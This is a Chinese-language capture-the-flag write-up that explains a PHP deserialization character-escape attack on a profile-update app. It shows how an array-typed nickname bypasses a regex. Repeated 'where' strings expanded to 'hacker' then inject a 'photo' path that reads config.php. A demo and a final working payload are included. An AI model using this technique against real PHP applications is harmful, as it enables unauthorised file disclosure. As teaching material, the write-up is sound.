update.php

  • 这里可以更新个人信息
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    $username = $_SESSION['username'];
    if(!preg_match('/^\d{11}$/', $_POST['phone']))
    die('Invalid phone');

    if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
    die('Invalid email');

    if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
    die('Invalid nickname');

    $file = $_FILES['photo'];
    if($file['size'] < 5 or $file['size'] > 1000000)
    die('Photo size error');

    move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
    $profile['phone'] = $_POST['phone'];
    $profile['email'] = $_POST['email'];
    $profile['nickname'] = $_POST['nickname'];
    $profile['photo'] = 'upload/' . md5($file['name']);

    $user->update_profile($username, serialize($profile));
    echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
  • 这里的文件上传后会用MD5重命名,无法直接传马
  • nickname的正则可以用数组绕过
    1
    2
    if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
    die('Invalid nickname');
    数组被当成字符串时会变成”Array”,正则可以匹配成功,这点在后面会用到
  • $profile序列化后存入数据库

class.php

  • 有两个类,都是mysql相关的操作
  • 后面会用到一个过滤器
    1
    2
    3
    4
    5
    6
    7
    8
    9
    public function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
    }

profile.php

  • 存在反序列化和一个file_get_contents
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    $profile=$user->show_profile($username);
    if($profile == null) {
    header('Location: update.php');
    }
    else {
    $profile = unserialize($profile);
    $phone = $profile['phone'];
    $email = $profile['email'];
    $nickname = $profile['nickname'];
    $photo = base64_encode(file_get_contents($profile['photo']));
  • $profile 从数据库中取出
  • 没有什么类可以直接反序列化利用,因此思路应该是利用file_get_contents去读文件(可以发现flag在config.php中)

反序列化字符逃逸

  • $profile 从数据库取出后经过了刚刚提到的过滤器filter

    1
    2
    3
    4
    5
    6
    7
    public function show_profile($username) {
    $username = parent::filter($username);

    $where = "username = '$username'";
    $object = parent::select($this->table, $where);
    return $object->profile;
    }
  • 经过filter过滤后字符串长度可能会发生变化

    1
    2
    3
    4
    5
    6
    7
    8
    9
    public function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
    }
  • where存在的话会被替换成hacker,长度增长了1,但是反序列化字符串中记录的长度并没有变

    1
    2
    3
    4
    5
    6
    7
    $a = serialize('where');
    echo $a;
    //s:5:"where";
    echo "<br>";
    $b = str_replace('where','hacker',$a);
    echo $b;
    //s:5:"hacker";
  • 这时如果进行反序列化的话php依然认为这个字符串只有5个字符,最后的r就逃逸了出去,如果有多个where的话就可以逃逸出多个字符,从而闭合前面的”和{,给$profile注入一个我们想要的$profile[‘photo’]

  • 在更新个人信息的时候除了nickname外都有格式的限制,因此利用nickname进行反序列化逃逸

简化后的demo

简化后的demo如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$profile['nickname'] = $_POST['nickname'];
//原题中nickname要是数组才行
if(!is_array($profile['nickname'])){
die('这样不行滴');
}
$profile['photo'] = 'upload/' . md5($_POST['filename']);

$a = serialize($profile);
$b = str_replace('where','hacker',$a);
echo $b;
var_dump(unserialize($b));

这时如果传入

1
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}&filename=test.php
  • 替换后的反序列化字符串为

    1
    a:2:{s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/93bc3c03503d8768cf7cc1e39ce16fcb";}
  • nickname被设为

    1
    'nickname' => array(1) { [0] => string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" }
  • photo则变成了我们指定的config.php

    ‘photo’ => string(10) “config.php”

  • 后面的部分会被php忽略

最后的payload

更新资料的时候nickname设为数组,内容为

1
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

然后将profile.php中的图片base64解码后即可得到flag